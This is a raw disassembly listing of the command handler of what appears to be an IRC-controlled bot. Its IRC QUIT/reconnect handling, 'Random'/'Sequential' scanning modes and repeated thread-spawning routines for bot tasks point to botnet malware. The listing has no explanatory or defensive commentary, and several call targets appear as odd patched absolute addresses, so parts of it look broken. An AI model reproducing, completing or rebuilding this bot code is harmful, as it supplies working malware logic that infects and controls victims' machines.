jmp short loc_4038D7
; ---------------------------------------------------------------------------
loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431410[ecx]
mov [ebp+var_74C], ecx
loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j
; sub_401ACD+1DEEj
cmp [ebp+var_74C], ebx
jz loc_403AE0
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB000
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40397F
loc_40395D: ; CODE XREF: sub_401ACD+1EB0j
cmp eax, ebx
jz short loc_40397F
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395D
loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej
; sub_401ACD+1E92j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D128
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E1
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E7
; ---------------------------------------------------------------------------
loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj
mov [ebp+var_7D0], bl
loc_4039E7: ; CODE XREF: sub_401ACD+1F12j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039F9
mov eax, offset aSequential ; "Sequential"
loc_4039F9: ; CODE XREF: sub_401ACD+1F25j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF28
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403A83
loc_403A71: ; CODE XREF: sub_401ACD+1FB4j
cmp [ebp+var_71C], ebx
jnz short loc_403A9E
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_403A71
; ---------------------------------------------------------------------------
loc_403A83: ; CODE XREF: sub_401ACD+1FA2j
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BEEC
push eax
call sub_41B886
add esp, 0Ch
loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj
cmp [ebp+var_8], ebx
jnz short loc_403ABF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
loc_403ACC: ; CODE XREF: sub_401ACD+1D94j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403817
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE0: ; CODE XREF: sub_401ACD+1E10j
push offset unk_42BEB4
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403AEA: ; CODE XREF: sub_401ACD+1B65j
; sub_401ACD+1B7Aj
push 5
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403B00
push offset unk_42BE94
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403B00: ; CODE XREF: sub_401ACD+2027j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B23
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B37
; ---------------------------------------------------------------------------
loc_403B23: ; CODE XREF: sub_401ACD+203Cj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
nop
call near ptr 2660000h
loc_403B37: ; CODE XREF: sub_401ACD+2054j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B47
mov esi, offset byte_429108
loc_403B47: ; CODE XREF: sub_401ACD+2073j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42BE60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset word_411796
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403C13
loc_403BFD: ; CODE XREF: sub_401ACD+2144j
cmp [ebp+var_2AB4], ebx
jnz loc_40828B
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_403BFD
; ---------------------------------------------------------------------------
loc_403C13: ; CODE XREF: sub_401ACD+212Ej
nop
call near ptr 2670897h
push eax
push offset unk_42BE24
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj
; sub_401ACD+1B50j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C43
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C43
push edi
call sub_41B779
pop ecx
jmp short loc_403C48
; ---------------------------------------------------------------------------
loc_403C43: ; CODE XREF: sub_401ACD+2160j
; sub_401ACD+216Bj
mov eax, dword_42907C
loc_403C48: ; CODE XREF: sub_401ACD+2174j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7B
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA6
; ---------------------------------------------------------------------------
loc_403C7B: ; CODE XREF: sub_401ACD+219Bj
lea eax, [ebp+var_4FF4]
push 104h
push eax
nop
call near ptr 2660AB7h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA6: ; CODE XREF: sub_401ACD+21ACj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD1
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD1: ; CODE XREF: sub_401ACD+21EEj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BDE8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403D85
loc_403D73: ; CODE XREF: sub_401ACD+22B6j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA0
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_403D73
; ---------------------------------------------------------------------------
loc_403D85: ; CODE XREF: sub_401ACD+22A4j
call near ptr 2670897h
nop
push eax
push offset unk_42BDAC
loc_403D91: ; CODE XREF: sub_401ACD+2419j
; sub_401ACD+4D04j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA0: ; CODE XREF: sub_401ACD+22ACj
; sub_401ACD+23FDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push edi
jmp loc_407285
; ---------------------------------------------------------------------------
loc_403DB0: ; CODE XREF: sub_401ACD+1B11j
; sub_401ACD+1B26j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DCF
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DCF
push edi
call sub_41B779
pop ecx
jmp short loc_403DD4
; ---------------------------------------------------------------------------
loc_403DCF: ; CODE XREF: sub_401ACD+22ECj
; sub_401ACD+22F7j
mov eax, dword_429080
loc_403DD4: ; CODE XREF: sub_401ACD+2300j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEB
lea eax, [ebp+var_C4]
loc_403DEB: ; CODE XREF: sub_401ACD+2316j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0D
mov esi, offset dword_43D128
loc_403E0D: ; CODE XREF: sub_401ACD+2339j
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BD70
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset byte_410A4D
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403EDA
loc_403EC4: ; CODE XREF: sub_401ACD+240Bj
cmp [ebp+var_180C], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_403EC4
; ---------------------------------------------------------------------------
loc_403EDA: ; CODE XREF: sub_401ACD+23F5j
call near ptr 2670897h
nop
push eax
push offset unk_42BD34
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j
; sub_401ACD+1AFCj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFE
push esi
call sub_41B779
jmp short loc_403F05
; ---------------------------------------------------------------------------
loc_403EFE: ; CODE XREF: sub_401ACD+2427j
push 0Bh
call sub_40B35D
loc_403F05: ; CODE XREF: sub_401ACD+242Fj
cmp eax, ebx
pop ecx
jz loc_409854
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA56
jmp loc_4043B9
; ---------------------------------------------------------------------------
loc_403F25: ; CODE XREF: sub_401ACD+1ABDj
; sub_401ACD+1AD2j
mov eax, dword_4CAE90
cmp eax, ebx
jz short loc_403F42
call eax
test eax, eax
jz short loc_403F3B
push offset unk_42BD10
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F3B: ; CODE XREF: sub_401ACD+2465j
push offset unk_42BCE4
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F42: ; CODE XREF: sub_401ACD+245Fj
push offset unk_42BCB8
loc_403F47: ; CODE XREF: sub_401ACD+246Cj
; sub_401ACD+2473j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDB
; ---------------------------------------------------------------------------
loc_403F5D: ; CODE XREF: sub_401ACD+1A93j
; sub_401ACD+1AA8j
call sub_40AB31
test eax, eax
jz short loc_403F6D
push offset unk_42BC94
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F6D: ; CODE XREF: sub_401ACD+2497j
push offset unk_42BC68
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F74: ; CODE XREF: sub_401ACD+1A69j
; sub_401ACD+1A7Ej
cmp [ebp+var_8], ebx
jnz short loc_403F93
push ebx
push [ebp+var_4]
push offset dword_42BC50
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403F93: ; CODE XREF: sub_401ACD+24AAj
push ebx
push [ebp+var_4]
call sub_4181D6
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BC34
jmp loc_404285
; ---------------------------------------------------------------------------
loc_403FB5: ; CODE XREF: sub_401ACD+18F9j
; sub_401ACD+190Ej
push 0Ah
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403FCB
push offset unk_42BC08
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FCB: ; CODE XREF: sub_401ACD+24F2j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEA
push offset unk_42BBE0
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FEA: ; CODE XREF: sub_401ACD+2511j
push offset unk_42BBC0
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FF4: ; CODE XREF: sub_401ACD+18CFj
; sub_401ACD+18E4j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CE
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400D: ; CODE XREF: sub_401ACD+18A5j
; sub_401ACD+18BAj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C28
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402A: ; CODE XREF: sub_401ACD+187Bj
; sub_401ACD+1890j
or edi, 0FFFFFFFFh
nop
call near ptr 2680865h
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404053
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404053: ; CODE XREF: sub_401ACD+257Bj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406C
cmp edi, 0FFFFFFFFh
jnz loc_409854
loc_40406C: ; CODE XREF: sub_401ACD+2594j
push ebx
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BBA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_4040AA: ; CODE XREF: sub_401ACD+529Cj
add esp, 24h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4040B2: ; CODE XREF: sub_401ACD+1851j
; sub_401ACD+1866j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A2F
add esp, 0Ch
push offset dword_42BB88
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_4040D0: ; CODE XREF: sub_401ACD+1827j
; sub_401ACD+183Cj
push 27h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_404104
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42BB68
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_4040FC: ; CODE XREF: sub_401ACD+7237j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404104: ; CODE XREF: sub_401ACD+260Dj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404165
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404165
mov [ebp+var_AA8], 1
loc_404165: ; CODE XREF: sub_401ACD+267Bj
; sub_401ACD+268Cj
lea eax, [ebp+var_2C4]
push offset dword_42BB44
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EB
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4041D3
loc_4041BD: ; CODE XREF: sub_401ACD+2704j
cmp [ebp+var_A9C], ebx
jnz loc_409630
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4041BD
; ---------------------------------------------------------------------------
loc_4041D3: ; CODE XREF: sub_401ACD+26EEj
call near ptr 2670897h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BB08
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409630
; ---------------------------------------------------------------------------
loc_4041F3: ; CODE XREF: sub_401ACD+17FDj
; sub_401ACD+1812j
cmp [ebp+var_8], ebx
jnz short loc_404212
push ebx
push [ebp+var_4]
push offset dword_42BAEC
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404212: ; CODE XREF: sub_401ACD+2729j
push [ebp+arg_4]
call dword_4CB00C
call dword_4CAECC
call sub_418359
push ebx
nop
call near ptr 77E75CB5h
loc_40422D: ; CODE XREF: sub_401ACD+17D3j
; sub_401ACD+17E8j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA42
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BAD0
jmp short loc_404285
; ---------------------------------------------------------------------------
loc_404258: ; CODE XREF: sub_401ACD+17A9j
; sub_401ACD+17BEj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BAB4
loc_404285: ; CODE XREF: sub_401ACD+24E3j
; sub_401ACD+2789j
call sub_4151AC
add esp, 18h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_404292: ; CODE XREF: sub_401ACD+177Fj
; sub_401ACD+1794j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524C
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AB: ; CODE XREF: sub_401ACD+1755j
; sub_401ACD+176Aj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EA
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EA
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EA
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EA: ; CODE XREF: sub_401ACD+27E7j
; sub_401ACD+27F2j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42BA9C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset byte_41528D
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40438D
loc_404377: ; CODE XREF: sub_401ACD+28BEj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_404377
; ---------------------------------------------------------------------------
loc_40438D: ; CODE XREF: sub_401ACD+28A8j
nop
call near ptr 2670897h
push eax
push offset unk_42BA64
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_401ACD+172Bj
; sub_401ACD+1740j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415134
push offset dword_42BA4C
call sub_4151AC
loc_4043B9: ; CODE XREF: sub_401ACD+2453j
add esp, 10h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4043C1: ; CODE XREF: sub_401ACD+1701j
; sub_401ACD+1716j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441B
push offset dword_42BA48
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404421
; ---------------------------------------------------------------------------
loc_40441B: ; CODE XREF: sub_401ACD+2932j
mov [ebp+var_B40], ebx
loc_404421: ; CODE XREF: sub_401ACD+294Cj
lea eax, [ebp+var_2C4]
push offset dword_42BA28
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset byte_40B161
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40448F
loc_404479: ; CODE XREF: sub_401ACD+29C0j
cmp [ebp+var_B34], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_404479
; ---------------------------------------------------------------------------
loc_40448F: ; CODE XREF: sub_401ACD+29AAj
call near ptr 2670897h
nop
push eax
push offset unk_42B9EC
jmp loc_409226
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: sub_401ACD+1685j
; sub_401ACD+169Aj
push offset aDark ; "Dark"
push offset dword_42B9D4
loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_4044D7: ; CODE XREF: sub_401ACD+165Bj
; sub_401ACD+1670j
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push offset unk_42B9A8
jmp short loc_4044AA
; ---------------------------------------------------------------------------
loc_4044EB: ; CODE XREF: sub_401ACD+1631j
; sub_401ACD+1646j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451D
cmp [ebp+var_C], ebx
jz short loc_40452C
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452C
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
jmp short loc_40452C
; ---------------------------------------------------------------------------
loc_40451D: ; CODE XREF: sub_401ACD+2A27j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
pop ecx
loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj
; sub_401ACD+2A3Bj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404533: ; CODE XREF: sub_401ACD+1607j
; sub_401ACD+161Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B958
call sub_4151AC
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404555: ; CODE XREF: sub_401ACD+15DDj
; sub_401ACD+15F2j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B924
call sub_4151AC
add esp, 0Ch
jmp loc_4097B9
; ---------------------------------------------------------------------------
loc_404574: ; CODE XREF: sub_401ACD+15B3j
; sub_401ACD+15C8j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DA
jmp loc_404933
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_401ACD+1589j
; sub_401ACD+159Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B785
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045A0: ; CODE XREF: sub_401ACD+155Fj
; sub_401ACD+1574j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B719
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_401ACD+1535j
; sub_401ACD+154Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64A
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045CC: ; CODE XREF: sub_401ACD+1490j
; sub_401ACD+14A5j
push [ebp+esi+var_8C]
push 27h
push offset dword_42B914
push offset dword_42B904
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045E4: ; CODE XREF: sub_401ACD+1466j
; sub_401ACD+147Bj
push [ebp+esi+var_8C]
push 24h
push offset dword_42B8F8
push offset dword_42B8E8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045FC: ; CODE XREF: sub_401ACD+1082j
; sub_401ACD+1097j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461B
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461B
push edi
call sub_41B779
pop ecx
jmp short loc_404620
; ---------------------------------------------------------------------------
loc_40461B: ; CODE XREF: sub_401ACD+2B38j
; sub_401ACD+2B43j
mov eax, dword_429074
loc_404620: ; CODE XREF: sub_401ACD+2B4Cj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404645
push esi
loc_404632: ; CODE XREF: sub_401ACD+2B87j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465C
; ---------------------------------------------------------------------------
loc_404645: ; CODE XREF: sub_401ACD+2B62j
cmp [ebp+var_8FF], bl
jz short loc_404656
lea eax, [ebp+var_C4]
push eax
jmp short loc_404632
; ---------------------------------------------------------------------------
loc_404656: ; CODE XREF: sub_401ACD+2B7Ej
mov [ebp+var_5A0], bl
loc_40465C: ; CODE XREF: sub_401ACD+2B76j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B8C0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset byte_4111CD
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40470D
loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4046F7
; ---------------------------------------------------------------------------
loc_40470D: ; CODE XREF: sub_401ACD+2C28j
call near ptr 2670897h
nop
push eax
push offset dword_42B884
jmp loc_402077
